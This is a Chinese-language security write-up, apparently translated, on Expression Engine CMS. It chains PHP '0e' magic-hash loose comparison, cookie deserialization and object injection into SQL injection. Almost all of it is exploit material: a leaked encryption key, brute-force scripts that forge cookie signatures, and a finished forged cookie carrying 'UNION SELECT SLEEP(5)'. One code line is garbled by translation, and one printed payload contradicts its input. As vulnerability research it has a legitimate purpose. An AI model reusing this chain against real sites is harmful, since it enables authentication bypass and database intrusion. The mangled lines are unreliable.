本文讲的是
另类PHP安全漏洞:利用弱类型和对象注入进行SQLi,
最近,我在一个目标中寻找漏洞时,遇到了一个正在运行Expression Engine(一个CMS平台)的主机。 这个特殊的应用程序吸引了我,因为当我尝试使用 “admin” 为用户名登录该应用程序时,服务器响应的cookie中包含了PHP序列化数据。 如我们
之前所说过的
,反序列化用户提供的数据可能导致意外的结果; 在某些情况下,甚至会导致代码执行。 于是,我决定仔细检查一下,而不是盲目的去测试,先看看我能否可以下载到这个CMS的源码,通过代码来弄清楚序列化数据的过程中到底发生了什么,然后启动一个本地搭建的副本进行测试。
protected function _prep_flashdata() { if ($cookie = ee()->input->cookie('flash')) { if (strlen($cookie) > 32) { $signature = substr($cookie, -32); $payload = substr($cookie, 0, -32); if (md5($payload.$this->sess_crypt_key) == $signature) { $this->flashdata = unserialize(stripslashes($payload)); $this->_age_flashdata(); return; } } } $this->flashdata = array(); }
a%3A2%3A%7Bs%3A13%3A%22%3Anew%3Ausername%22%3Bs%3A5%3A%22admin%22%3Bs%3A12%3A%22%3Anew%3Amessage%22%3Bs%3A38%3A%22That+is+the+wrong+username+or+password%22%3B%7D3f7d80e10a3d9c0a25c5f56199b067d4
a:2:{s:13:":new:username";s:5:"admin";s:12:":new:message";s:38:"That is the wrong username or password";}3f7d80e10a3d9c0a25c5f56199b067d4
$ php -a Interactive mode enabled php > $cookie = 'a:2:{s:13:":new:username";s:5:"admin";s:12:":new:message";s:38:"That is the wrong username or password";}3f7d80e10a3d9c0a25c5f56199b067d4'; php > $signature = substr($cookie, -32); php > $payload = substr($cookie, 0, -32); php > print "Signature: $signature\n"; Signature: 3f7d80e10a3d9c0a25c5f56199b067d4 php > print "Payload: $payload\n"; Payload: prod_flash=a:2:{s:13:":new:username";s:5:"admin";s:12:":new:message";s:29:"Invalid username or password.";} php >
./system/user/config/config.php:$config['encryption_key'] = '033bc11c2170b83b2ffaaff1323834ac40406b79';
php > $salt = '033bc11c2170b83b2ffaaff1323834ac40406b79'; php > print md5($payload.$salt); 3f7d80e10a3d9c0a25c5f56199b067d4 php >
<?php $a = 1; $b = 1; var_dump($a); var_dump($b); if ($a == $b) { print "a and b are the same\n"; } else { print "a and b are NOT the same\n"; } ?> Output: $ php steps.php int(1) int(1) a and b are the same <?php $a = 1; $b = 0; var_dump($a); var_dump($b); if ($a == $b) { print "a and b are the same\n"; } else { print "a and b are NOT the same\n"; } ?> Output: $ php steps.php int(1) int(0) a and b are NOT the same <?php $a = "these are the same"; $b = "these are the same"; var_dump($a); var_dump($b); if ($a == $b) { print "a and b are the same\n"; } else { print "a and b are NOT the same\n"; } ?> Output: $ php steps.php string(18) "these are the same" string(18) "these are the same" a and b are the same <?php $a = "these are NOT the same"; $b = "these are the same"; var_dump($a); var_dump($b); if ($a == $b) { print "a and b are the same\n"; } else { print "a and b are NOT the same\n"; } ?> Output: $ php steps.php string(22) "these are NOT the same" string(18) "these are the same" a and b are NOT the same
<?php $a = "0e111111111111111111111111111111"; $b = "0e222222222222222222222222222222"; var_dump($a); var_dump($b); if ($a == $b) { print "a and b are the same\n"; } else { print "a and b are NOT the same\n"; } ?> Output: $ php steps.php string(32) "0e111111111111111111111111111111" string(32) "0e222222222222222222222222222222" a and b are the same
if (md5($payload.$this->sess_crypt_key) == $signature)
$ php -a Interactive mode enabled php > $cookie = 'a:2:{s:13:":new:username";s:5:"admin";s:12:":new:message";s:38:"That is the wrong username or password";}3f7d80e10a3d9c0a25c5f56199b067d4'; php > $signature = substr($cookie, -32); php > $payload = substr($cookie, 0, -32); php > print_r(unserialize($payload)); Array ( [:new:username] => admin [:new:message] => That is the wrong username or password ) php >
<?php set_time_limit(0); define('HASH_ALGO', 'md5'); define('PASSWORD_MAX_LENGTH', 8); $charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $str_length = strlen($charset); function check($garbage) { $length = strlen($garbage); $salt = "033bc11c2170b83b2ffaaff1323834ac40406b79"; $payload = 'a:2:{s:13:":new:username";s:'.$length.':"'.$garbage.'";s:12:":new:message";s:7:"taquito";}'; #echo "Testing: " . $payload . "\n"; $hash = md5($payload.$salt); $pre = "0e"; if (substr($hash, 0, 2) === $pre) { if (is_numeric($hash)) { echo "$payload - $hash\n"; } } } function recurse($width, $position, $base_string) { global $charset, $str_length; for ($i = 0; $i < $str_length; ++$i) { if ($position < $width - 1) { recurse($width, $position + 1, $base_string . $charset[$i]); } check($base_string . $charset[$i]); } } for ($i = 1; $i < PASSWORD_MAX_LENGTH + 1; ++$i) { echo "Checking passwords with length: $i\n"; recurse($i, 0, ''); } ?>
$ php poc1.php Checking passwords with length: 1 Checking passwords with length: 2 Checking passwords with length: 3 Checking passwords with length: 4 Checking passwords with length: 5 a:2:{s:13:":new:username";s:5:"dLc5d";s:12:":new:message";s:7:"taquito";} - 0e553592359278167729317779925758
<?php $a = "0e553592359278167729317779925758"; $b = "0e222222222222222222222222222222"; var_dump($a); var_dump($b); if ($a == $b) { print "a and b are the same\n"; } else { print "a and b are NOT the same\n"; } ?> Output: $ php steps.php string(32) "0e553592359278167729317779925758" string(32) "0e222222222222222222222222222222" a and b are the same
if(md5($ payload。$ this-> sess_crypt_key)== $ signature)
function check_password_lockout($username = '') { if (ee()->config->item('password_lockout') == 'n' OR ee()->config->item('password_lockout_interval') == '') { return FALSE; } $interval = ee()->config->item('password_lockout_interval') * 60; $lockout = ee()->db->select("COUNT(*) as count") ->where('login_date > ', time() - $interval) ->where('ip_address', ee()->input->ip_address()) ->where('username', $username) ->get('password_lockout'); return ($lockout->row('count') >= 4) ? TRUE : FALSE; }
SELECT COUNT(*) as count FROM (`exp_password_lockout`) WHERE `login_date` > '$interval' AND `ip_address` = '$ip_address' AND `username` = '$username';
a:2:{s:13:":new:username";s:1:"'";s:12:":new:message";s:7:"taquito";}
“Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line”
function escape($str) { if (is_string($str)) { $str = "'".$this->escape_str($str)."'"; } elseif (is_bool($str)) { $str = ($str === FALSE) ? 0 : 1; } elseif (is_null($str)) { $str = 'NULL'; } return $str; }
string(1) "y" int(1) int(1) int(1) int(0) int(1) int(3) int(0) int(1) int(1486399967) string(11) "192.168.1.5" string(1) "'" int(1)
string(3) "'y'" int(1) int(1) int(1) int(0) int(1) int(3) int(0) int(1) int(1486400275) string(13) "'192.168.1.5'" string(4) "'\''" int(1)
“./system/ee/EllisLab/ExpressionEngine/Library/Parser/Conditional/Token/Variable.php”:
<?php namespace EllisLab\ExpressionEngine\Library\Parser\Conditional\Token; class Variable extends Token { protected $has_value = FALSE; public function __construct($lexeme) { parent::__construct('VARIABLE', $lexeme); } public function canEvaluate() { return $this->has_value; } public function setValue($value) { if (is_string($value)) { $value = str_replace( array('{', '}'), array('{', '}'), $value ); } $this->value = $value; $this->has_value = TRUE; } public function value() { // in this case the parent assumption is wrong // our value is definitely *not* the template string if ( ! $this->has_value) { return NULL; } return $this->value; } public function __toString() { if ($this->has_value) { return var_export($this->value, TRUE); } return $this->lexeme; } } // EOF
<?php namespace EllisLab\ExpressionEngine\Library\Parser\Conditional\Token; class Variable { public $lexeme = FALSE; } $x = new Variable(); $x->lexeme = "'"; echo serialize($x)."\n"; ?> Output: $ php poc.php O:67:"EllisLab\ExpressionEngine\Library\Parser\Conditional\Token\Variable":1:{s:6:"lexeme";s:1:"'";}
a:1:{s:13:":new:username";O:67:"EllisLab\\\\\ExpressionEngine\\\\\Library\\\\\Parser\\\\\Conditional\\\\\Token\\\\Variable":1:{s:6:"lexeme";s:1:"'";}}
string(3) "'y'" int(1) int(1) int(1) int(0) int(1) int(3) int(0) int(1) int(1486407246) string(13) "'192.168.1.5'" object(EllisLab\ExpressionEngine\Library\Parser\Conditional\Token\Variable)#177 (6) { ["has_value":protected]=> bool(false) ["type"]=> NULL ["lexeme"]=> string(1) "'" ["context"]=> NULL ["lineno"]=> NULL ["value":protected]=> NULL }
<h1>Exception Caught</h1> <h2>SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 5: SELECT COUNT(*) as count FROM (`exp_password_lockout`) WHERE `login_date` > 1486407246 AND `ip_address` = '192.168.1.5' AND `username` = '</h2> mysqli_connection.php:122
<?php set_time_limit(0); define('HASH_ALGO', 'md5'); define('garbage_MAX_LENGTH', 8); $charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $str_length = strlen($charset); function check($garbage) { $length = strlen($garbage) + 26; $salt = "033bc11c2170b83b2ffaaff1323834ac40406b79"; $payload = 'a:1:{s:+13:":new:username";O:67:"EllisLab\\\ExpressionEngine\\\Library\\\Parser\\\Conditional\\\Token\\\Variable":1:{s:+6:"lexeme";s:+'.$length.':"1 UNION SELECT SLEEP(5) # '.$garbage.'";}}'; #echo "Testing: " . $payload . "\n"; $hash = md5($payload.$salt); $pre = "0e"; if (substr($hash, 0, 2) === $pre) { if (is_numeric($hash)) { echo "$payload - $hash\n"; } } } function recurse($width, $position, $base_string) { global $charset, $str_length; for ($i = 0; $i < $str_length; ++$i) { if ($position < $width - 1) { recurse($width, $position + 1, $base_string . $charset[$i]); } check($base_string . $charset[$i]); } } for ($i = 1; $i < garbage_MAX_LENGTH + 1; ++$i) { echo "Checking garbages with length: $i\n"; recurse($i, 0, ''); } ?> Output: $ php poc2.php a:1:{s:+13:":new:username";O:67:"EllisLab\\ExpressionEngine\\Library\\Parser\\Conditional\\Token\\Variable":1:{s:+6:"lexeme";s:+31:"1 UNION SELECT SLEEP(5) # v40vP";}} - 0e223968250284091802226333601821
Cookie: exp_flash=a%3a1%3a{s%3a%2b13%3a"%3anew%3ausername"%3bO%3a67%3a"EllisLab\\\\\ExpressionEngine\\\\\Library\\\\\Parser\\\\\Conditional\\\\\Token\\\\\Variable"%3a1%3a{s%3a%2b6%3a"lexeme"%3bs%3a%2b31%3a"1+UNION+SELECT+SLEEP(5)+%23+v40vP"%3b}}0e223968250284091802226333601821
原文发布时间为:2017年2月22日
本文作者:丝绸之路
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。